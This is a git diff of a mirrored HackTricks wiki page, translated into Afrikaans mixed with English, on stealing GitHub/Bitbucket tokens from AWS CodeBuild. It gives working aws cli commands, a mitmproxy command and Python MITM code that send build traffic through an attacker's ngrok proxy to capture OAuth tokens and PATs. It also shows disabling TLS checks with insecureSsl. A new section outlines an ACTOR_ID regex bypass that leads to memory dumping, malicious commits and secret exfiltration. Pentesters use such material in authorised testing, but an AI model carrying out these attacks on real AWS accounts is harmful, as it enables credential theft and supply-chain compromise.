mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
+49
-32
@@ -2,47 +2,47 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Herwin Github/Bitbucket Geconfigureerde Tokens
|
||||
## Herstel Github/Bitbucket Gekonfigureerde Tokens
|
||||
|
||||
Eerst, kyk of daar enige bronbewyse geconfigureer is wat jy kan lek:
|
||||
Eerstens, kyk of daar enige source credentials gekonfigureer is wat jy kan leak:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
### Via Docker Image
|
||||
|
||||
As jy vind dat outentisering na byvoorbeeld Github in die rekening gestel is, kan jy **exfiltrate** daardie **toegang** (**GH token of OAuth token**) deur Codebuild te laat **gebruik 'n spesifieke docker image** om die bou van die projek te loop.
|
||||
If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **toegang** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.
|
||||
|
||||
Vir hierdie doel kan jy **'n nuwe Codebuild projek skep** of die **omgewing** van 'n bestaande een verander om die **Docker image** in te stel.
|
||||
Vir hierdie doel kan jy **'n nuwe Codebuild-projek skep** of die **omgewing** van 'n bestaande een verander om die **Docker image** te stel.
|
||||
|
||||
Die Docker image wat jy kan gebruik is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dit is 'n baie basiese Docker image wat die **env veranderlikes `https_proxy`**, **`http_proxy`** en **`SSL_CERT_FILE`** sal stel. Dit sal jou toelaat om die meeste van die verkeer van die gasheer wat in **`https_proxy`** en **`http_proxy`** aangedui is, te onderskep en die SSL CERT wat in **`SSL_CERT_FILE`** aangedui is, te vertrou.
|
||||
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Hierdie is 'n baie basiese Docker image wat die **omgewingsvariabels `https_proxy`**, **`http_proxy`** en **`SSL_CERT_FILE`** sal stel. Dit sal jou toelaat om die meeste verkeer van die gasheer aangedui in **`https_proxy`** en **`http_proxy`** te onderskep en die SSL CERT aangedui in **`SSL_CERT_FILE`** te vertrou.
|
||||
|
||||
1. **Skep & Laai jou eie Docker MitM image op**
|
||||
- Volg die instruksies van die repo om jou proxy IP adres in te stel en jou SSL sertifikaat in te stel en **bou die docker image**.
|
||||
- **MOET NIE `http_proxy` INSTEL NIE** om nie versoeke na die metadata eindpunt te onderskep nie.
|
||||
- Jy kan **`ngrok`** gebruik soos `ngrok tcp 4444` om die proxy na jou gasheer in te stel.
|
||||
1. **Skep & Upload jou eie Docker MitM image**
|
||||
- Volg die instruksies van die repo om jou proxy IP-adres en jou SSL-sertifikaat te stel en **bou die Docker image**.
|
||||
- **MOENIE `http_proxy` STEL NIE** om nie versoeke na die metadata-endpoint te onderskep nie.
|
||||
- Jy kan **`ngrok`** gebruik soos `ngrok tcp 4444` om die proxy na jou host te wys.
|
||||
- Sodra jy die Docker image gebou het, **laai dit op na 'n publieke repo** (Dockerhub, ECR...)
|
||||
2. **Stel die omgewing in**
|
||||
- Skep 'n **nuwe Codebuild projek** of **wysig** die omgewing van 'n bestaande een.
|
||||
- Stel die projek in om die **voorheen gegenereerde Docker image** te gebruik.
|
||||
2. **Stel die omgewing**
|
||||
- Skep 'n **nuwe Codebuild-projek** of **wysig** die omgewing van 'n bestaande een.
|
||||
- Stel die projek om die **voorheen gegenereerde Docker image** te gebruik
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **Stel die MitM proxy in jou gasheer in**
|
||||
3. **Stel die MitM proxy in jou host**
|
||||
|
||||
- Soos aangedui in die **Github repo** kan jy iets soos gebruik:
|
||||
- Soos aangedui in die **Github repo** kan jy iets soos die volgende gebruik:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> Die **mitmproxy weergawe wat gebruik is, was 9.0.1**, daar is gerapporteer dat dit met weergawe 10 dalk nie sal werk nie.
|
||||
> Die **mitmproxy-weergawe wat gebruik is, was 9.0.1**, daar is gerapporteer dat dit met weergawe 10 moontlik nie sal werk nie.
|
||||
|
||||
4. **Voer die bou uit & vang die geloofsbriewe**
|
||||
4. **Voer die build uit & vang die credentials**
|
||||
|
||||
- Jy kan die token in die **Authorization** koptekst sien:
|
||||
- Jy kan die token in die **Authorization** header sien:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dit kan ook vanaf die aws cli gedoen word met iets soos
|
||||
Dit kan ook vanaf die aws cli met iets soos gedoen word
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### Via insecureSSL
|
||||
|
||||
**Codebuild** projekte het 'n instelling genaamd **`insecureSsl`** wat in die web versteek is en jy kan dit slegs vanaf die API verander.\
|
||||
Deur dit in te skakel, kan Codebuild met die repository verbind **sonder om die sertifikaat** wat deur die platform aangebied word, te kontroleer.
|
||||
**Codebuild**-projekte het 'n instelling genaamd **`insecureSsl`** wat in die web verborge is; jy kan dit slegs via die API verander.\
|
||||
Deur dit aan te skakel kan Codebuild met die repository verbind **sonder om die sertifikaat wat deur die platform aangebied word, te kontroleer**.
|
||||
|
||||
- Eerstens moet jy die huidige konfigurasie opnoem met iets soos:
|
||||
- Eerstens moet jy die huidige konfigurasie uitlees met iets soos:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- Dan, met die ingesamelde inligting kan jy die projekinstelling **`insecureSsl`** op **`True`** opdateer. Die volgende is 'n voorbeeld van my opdatering van 'n projek, let op die **`insecureSsl=True`** aan die einde (dit is die enigste ding wat jy moet verander van die ingesamelde konfigurasie).
|
||||
- Boonop, voeg ook die omgewing veranderlikes **http_proxy** en **https_proxy** by wat na jou tcp ngrok wys soos:
|
||||
- Dan kan jy, met die versamelde inligting, die projekinstelling **`insecureSsl`** op **`True`** stel. Die volgende is 'n voorbeeld van hoe ek 'n projek opdateer; let op die **`insecureSsl=True`** aan die einde (dit is die enigste ding wat jy hoef te verander vanaf die versamelde konfigurasie).
|
||||
- Voorts voeg ook die omgewingsveranderlikes **http_proxy** en **https_proxy** by wat na jou tcp ngrok wys, soos:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
|
||||
]
|
||||
}'
|
||||
```
|
||||
- Dan, voer die basiese voorbeeld uit [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in die poort aangedui deur die proxy veranderlikes (http_proxy en https_proxy)
|
||||
- Voer dan die basiese voorbeeld vanaf [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) uit op die port wat deur die proxy variables (http_proxy en https_proxy) aangedui word
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Laastens, klik op **Bou die projek**, die **bewyse** sal in **duidelike teks** (base64) na die mitm-poort gestuur word:
|
||||
- Eindelik, klik op **Build the project**, die **credentials** sal in **clear text** (base64) na die mitm port gestuur word:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~Deur HTTP-protokol~~
|
||||
|
||||
> [!TIP] > **Hierdie kwesbaarheid is op 'n stadium in die week van die 20ste Februarie 2023 deur AWS reggestel (ek dink op Vrydag). So 'n aanvaller kan dit nie meer misbruik nie :)**
|
||||
> [!TIP] > **Hierdie kwetsbaarheid is op 'n stadium deur AWS reggestel in die week van 20 Feb 2023 (ek dink op Vrydag). Dus kan 'n aanvaller dit nie meer misbruik nie :)**
|
||||
|
||||
'n Aanvaller met **verhoogde regte in 'n CodeBuild kan die Github/Bitbucket-token** wat geconfigureer is, lek of as regte via OAuth geconfigureer is, die **tydelike OAuth-token wat gebruik word om toegang tot die kode te verkry**.
|
||||
'n Aanvaller met **elevated permissions in 'n CodeBuild** kan die geconfigureerde Github/Bitbucket token leak, of as permissions via OAuth gekonfigureer is, die **temporary OAuth token used to access the code**.
|
||||
|
||||
- 'n Aanvaller kan die omgewing veranderlikes **http_proxy** en **https_proxy** by die CodeBuild-projek voeg wat na sy masjien wys (byvoorbeeld `http://5.tcp.eu.ngrok.io:14972`).
|
||||
- 'n Aanvaller kan die omgewingveranderlikes **http_proxy** en **https_proxy** by die CodeBuild-projek voeg wat na sy masjien wys (byvoorbeeld `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Verander dan die URL van die github-repo om HTTP in plaas van HTTPS te gebruik, byvoorbeeld: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Voer dan die basiese voorbeeld van [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) uit in die poort wat deur die proxy-variabeles (http_proxy en https_proxy) aangedui word.
|
||||
- Verander dan die URL van die github repo om HTTP in plaas van HTTPS te gebruik, byvoorbeeld: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Voer dan die basiese voorbeeld vanaf https://github.com/synchronizing/mitm uit op die poort waarna die proxy-variabeles (http_proxy en https_proxy) wys.
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -162,11 +162,28 @@ mitm.run()
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- Uiteindelik sal die **akkrediteerings** in **duidelike teks** (base64) na die mitm-poort gestuur word:
|
||||
- Laastens sal die **credentials** **in clear text** (base64) na die mitm port gestuur word:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> Nou sal 'n aanvaller in staat wees om die token van sy masjien te gebruik, al die voorregte wat hy het op te lys en (mis)bruik makliker as om die CodeBuild-diens direk te gebruik.
|
||||
> Nou kan 'n aanvaller die token vanaf sy masjien gebruik, al die privileges wat dit het lys en dit (ab)use makliker uitvoer as om die CodeBuild-diens direk te gebruik.
|
||||
|
||||
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
|
||||
|
||||
Verkeerd gekonfigureerde CodeBuild GitHub webhooks wat ongeankerde `ACTOR_ID`-regexes gebruik, laat *onbetroubare* PRs toe om bevoorregte builds te begin. As die allowlist byvoorbeeld `123456|7890123` sonder `^`/`$` is, pas enige ID wat een van daardie substringe bevat. Omdat GitHub user IDs sekwensieel is, kan 'n aanvaller meeding om 'n “eclipsing” ID (‚n superstring van 'n vertroude ID) te registreer en die build te trigger.
|
||||
|
||||
## Uitbuitingspad
|
||||
|
||||
1. Vind publieke CodeBuild-projekte wat webhook-filters blootstel en onttrek 'n ongeankerde `ACTOR_ID` allowlist.
|
||||
2. Verkry 'n eclipsing GitHub ID:
|
||||
- Bemonster die globale ID-teller deur GitHub orgs te skep/verwyder (org IDs deel dieselfde pool).
|
||||
- Reël baie GitHub App-manifest-skeppings vooraf en aktiveer die confirmation URLs wanneer die teller binne ~100 IDs van die teiken is om in 'n slag 'n bot-ID te registreer wat die vertroude substring bevat.
|
||||
3. Open 'n PR vanaf die eclipsing-rekening; die regex pas by die substring en die bevoorregte build hardloop.
|
||||
4. Gebruik build RCE (bv. dependency install hooks) om die prosesgeheue wat die GitHub credential hanteer te dump en die PAT/OAuth token te herstel.
|
||||
5. Met die token se `repo` scope, nooi jou rekening as collaborator/admin en push/approve kwaadwillige commits of exfiltreer geheime.
|
||||
|
||||
## References
|
||||
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user